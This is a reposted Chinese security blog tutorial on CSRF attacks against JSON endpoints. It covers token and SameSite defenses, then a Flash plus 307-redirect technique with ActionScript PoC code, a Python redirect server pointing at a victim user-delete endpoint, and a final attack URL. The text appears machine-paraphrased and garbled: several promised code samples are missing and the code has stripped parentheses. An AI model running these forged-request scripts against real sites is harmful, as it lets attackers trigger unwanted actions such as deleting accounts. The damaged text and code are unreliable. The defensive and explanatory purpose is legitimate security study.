首页 > 编程知识 正文

json加入的html代码,csrf攻击原理

时间:2023-05-04 10:21:25 阅读:111057 作者:824

原标题:关于Json格式的CSRF攻击

一. CSRF漏洞介绍

csrf漏洞的原因是站点的cookie在浏览器中不会过期。 除非关闭浏览器或退出登录,否则以后只要您正在访问该站点,默认情况下您已登录。 在此期间,攻击者可能会发送包含构建的csrf脚本或csrf脚本的链接,并执行用户不想要的功能,如添加帐户。 此操作不是用户实际想要执行的操作。

post标准化格式(accounts=testpassword=aaa )的表单页面可以在没有csrf防护的情况下轻松构建页面来实现攻击,但是json格式如何实现csrf攻击呢?

那么,为什么不能使用这个常规结构的PoC来利用JSON端点的CSRF呢? 理由如下。

1、POSTbody必须以JSON格式发送,这种格式用HTML表单元素构建很麻烦。

2、Content-Type头必须设置为application/json。 设置自定义头需要s。 OPTIONS预检请求也将发送到服务器端。

1.1防御方案

关于防御方案,一般有以下几种。

1 )用户交互验证,提交数据时需输入验证码

2 )验证请求方、验证请求方的引用

3 )验证表单token

目前,业界对CSRF的防御一直是通过使用一个Token(AnticsrfToken )来实现的。

这个Token的值必须是随机的和不可预测的。 Token的存在使得攻击者无法构建具有合法Token的请求来实施CSRF攻击。 另外,使用Token时请注意Token的机密性,尽量将敏感操作从GET改为POST,以form或AJAX形式提交,以免Token泄露。

示例:

步骤1 :用户访问表单页面。

步骤2 :服务器端生成Token,放入用户的Session,或者浏览器的Cookie中。

步骤3 :在页面表单中附加Token参数。

步骤4 )在用户发送请求之后,服务器验证表单中的Token是否与用户Session (或Cookies )中的Token相匹配,以验证请求是否是合法的,否则请求是非法的

4 )在前后端分离的前提下(例如使用ajax发送数据),无法设定token。 可以向cookie添加SameSite属性,该属性可以标记哪个cookie仅作为该站点的cookie ),即第一方的cookie不能作为第三方的cookie )。 既然不能作为第三方cookie,那么其他网站都不需要管理token的生命周期,也不用担心Referer丢失或被中途篡改。

SameStie有两个值:严格和Lax:

在samesite=strictstrict模式下,使用samesite=strict标记的cookie不能在包括异步和同步请求的任何情况下用作第三方cookie。

在SameSite=Lax松散模式下,使用SameSite=Lax标记的cookie不能用作异步请求或form发送跳转的第三方cookie。

Strict和Lax的使用方法怎么样?

所有重要的已登录cookie都可以设置为严格。

创建可用于在后台根据用户登录状态动态检查登录状态的cookie,并将其设置为Lax。 这样一来,就会导致微博等对外的普及,希望用户在微博上打开链接也能维持登录状态。

如果您的页面可能会被移至iframe中的第三方网站,或者您有需要jsonp的界面,则无法设置严格或Lax。 二.不验证CONTENT-TYPE情况

如果服务器没有验证Content-Type,或者没有严格验证Content-Type是否为application/json,则可以使用XHR实现csrf。 poc如下。

三.验证内容类型情况

当然,您可以使用、fetch构建JSON请求并设置Content-Type,但不能遍历域。

fetch启动的请求代码:

JSON CSRF POC

您可以利用Flash的跨域和307跳转来避免http自定义标头限制。 307与其他3XX HTTP状态代码的区别在于,在发送重定向请求后,HTTP 307不会更改请求方法和请求主体。 HTTP 307将POST body和HTTP标头重定向到指定的最终URL以完成攻击。

3.1创建flash文件

要创建可以发送Web请求的csrf.swf文件,请执行以下操作:

安装FlexSDK并将其编译为ActionSwF文件。 必须在Flex上安装32位JVM。 可以通过安装32位JDK来完成此操作。

创建一个名为csrf.as的text文件,其中包含以下操作代码:

托管Flash文件的主机系统(攻击者服务

器)IP地址/域名,并替换掉代码中的。

运行“mxmlc csrf.as”命令,将该文件编译为csrf.swf。

3.2 创建web服务器

1、使用python作为服务器(此方法不推荐):

先创建as文件,用上述步骤编译:

package { import flash.display.Sprite; import flash.net.URLLoader; import flash.net.URLRequest; import flash.net.URLRequestHeader; import flash.net.URLRequestMethod; public class csrf extends Sprite { public function csrf { super; var member1:Object = null; var myJson:String = null; member1 = new Object; member1 ={"id":102}; var myData:Object = member1; myJson = JSON.stringify(myData); myJson = JSON.stringify(myData); var url:String = "http://172.16.11.110:8000/"; var request:URLRequest = new URLRequest(url); request.requestHeaders.push(new URLRequestHeader("Content-Type","application/json")); request.data = myJson; request.method = URLRequestMethod.POST; var urlLoader:URLLoader = new URLLoader; try { urlLoader.load(request); return; } catch(e:Error) { trace(e); return; } } } }

借助GitHub上的json-flash-csrf-poc,我们可以生成一个简单的python web服务器

pyserver.py:

import BaseHTTPServer import time import sys HOST = '' PORT = 8000 class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_POST(s): # dir(s) if s.path == '/csrf.swf': s.send_response(200) s.send_header("Content-Type","application/x-shockwave-flash") s.end_headers s.wfile.write(open("csrf.swf", "rb").read) return s.send_response(307) s.send_header("Location", "https://victim-site/userdelete") s.end_headers def do_GET(s): print(s.path) s.do_POST if __name__ == '__main__': server_class = BaseHTTPServer.HTTPServer httpd = server_class((HOST, PORT), RedirectHandler) print time.asctime, "Server Starts - %s:%s" % (HOST, PORT) try: httpd.serve_forever except KeyboardInterrupt: pass httpd.server_close print time.asctime, "Server Stops - %s:%s" % (HOST, PORT)

2、使用apache的php页面作为服务端(首选方法):

我们也可以使用php来作为307跳转的服务端,参考GitHub上的swf_json_csrf。

csrf.as:

package { import flash.display.Sprite; import flash.net.URLLoader; import flash.net.URLRequest; import flash.net.URLRequestHeader; import flash.net.URLRequestMethod; public class csrf extends Sprite { public function csrf { super; var myJson:String = this.root.loaderInfo.parameters.jsonData; var url:String = this.root.loaderInfo.parameters.php_url; var endpoint:String = this.root.loaderInfo.parameters.endpoint; var ct:String = !!this.root.loaderInfo.parameters.ct?this.root.loaderInfo.parameters.ct:"application/json"; var request:URLRequest = new URLRequest(url + "?endpoint=" + endpoint); request.requestHeaders.push(new URLRequestHeader("Content-Type",ct)); request.data = myJson; request.method = URLRequestMethod.POST; var urlLoader:URLLoader = new URLLoader; try { urlLoader.load(request); return; } catch(e:Error) { trace(e); return; } } } }

307.php:

最后使用的poc是:

http://172.16.11.102/csrf/test.swf?jsonData={%22id%22:49}&php_url=http://172.16.11.102/csrf/test.php&endpoint=http://victim.com/carrieradmin/admin/car/delete&ct=application/json 四、更进一步探索

当访问最后的POC,过程如下:

1、受害者访问POC,向attacter.com发起一条swf请求,swf向307.php发送HTTP POST请求。

2、attacter.com的307.php发起307跳转,跳转到victim.com,注意307跳转会带着http请求方式,header和postdata进行跳转。

3、victim.com收到一条POST请求,并且Content-Type为application/json。

4、victim.com收到一条/crossdomain.xml请求。由于第三步优先第四步执行,导致跨域。并且victim.com能收到crossdomain.xml请求,也证明了第三步的POST请求是Flash发出,而不是307.php发出。因为307.php单独发出的post请求不会主动请求crossdomain.xml。

我们知道,服务器A的Flash如果要向B发起一条HTTP请求,会先请求服务器B的crossdomain.xml文件,判断是否能跨域,如果文件没有,或者xml文件设置不能跨域,则不能跨域。

既然可以设置Content-Type,那么能设置Referer吗。如果能,那验证Referer的CSRF岂不都能绕过?

其实Flash的Header存在一个黑名单,黑名单列表的头不允许设置,其中就有Referer。不能设置的头标如下:

Accept-Charset、Accept-Encoding、Accept-Ranges、Age、Allow、Allowed、Authorization、Charge-To、Connect、Connection、Content-Length、Content-Location、Content-Range、Cookie、Date、Delete、ETag、Expect、Get、Head、Host、Keep-Alive、Last-Modified、Location、Max-Forwards、Options、Post、Proxy-Authenticate、Proxy-Authorization、Proxy-Connection、Public、Put、Range、Referer、Request-Range、Retry-After、Server、TE、Trace、Trailer、Transfer-Encoding、Upgrade、URI、User-Agent、Vary、Via、Warning、WWW-Authenticate 和 x-flash-version。

五、实际测试效果

这种flash+307跳转攻击方法只能在旧版浏览器适用,在2018年后更新版本的几乎所有浏览器,307跳转的时候并没有把Content-Type传过去而导致csrf攻击失败。所以还望寻找一种新的攻击方法,本文的json csrf攻击方法仅仅是作为一种记录,在某些情况下还是能用到的。

参考链接

Exploiting JSON CSRF

如何在JSON端点上利用CSRF漏洞

*本文作者:shystartree,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。返回搜狐,查看更多

责任编辑:

版权声明:该文观点仅代表作者本人。处理文章:请发送邮件至 三1五14八八95#扣扣.com 举报,一经查实,本站将立刻删除。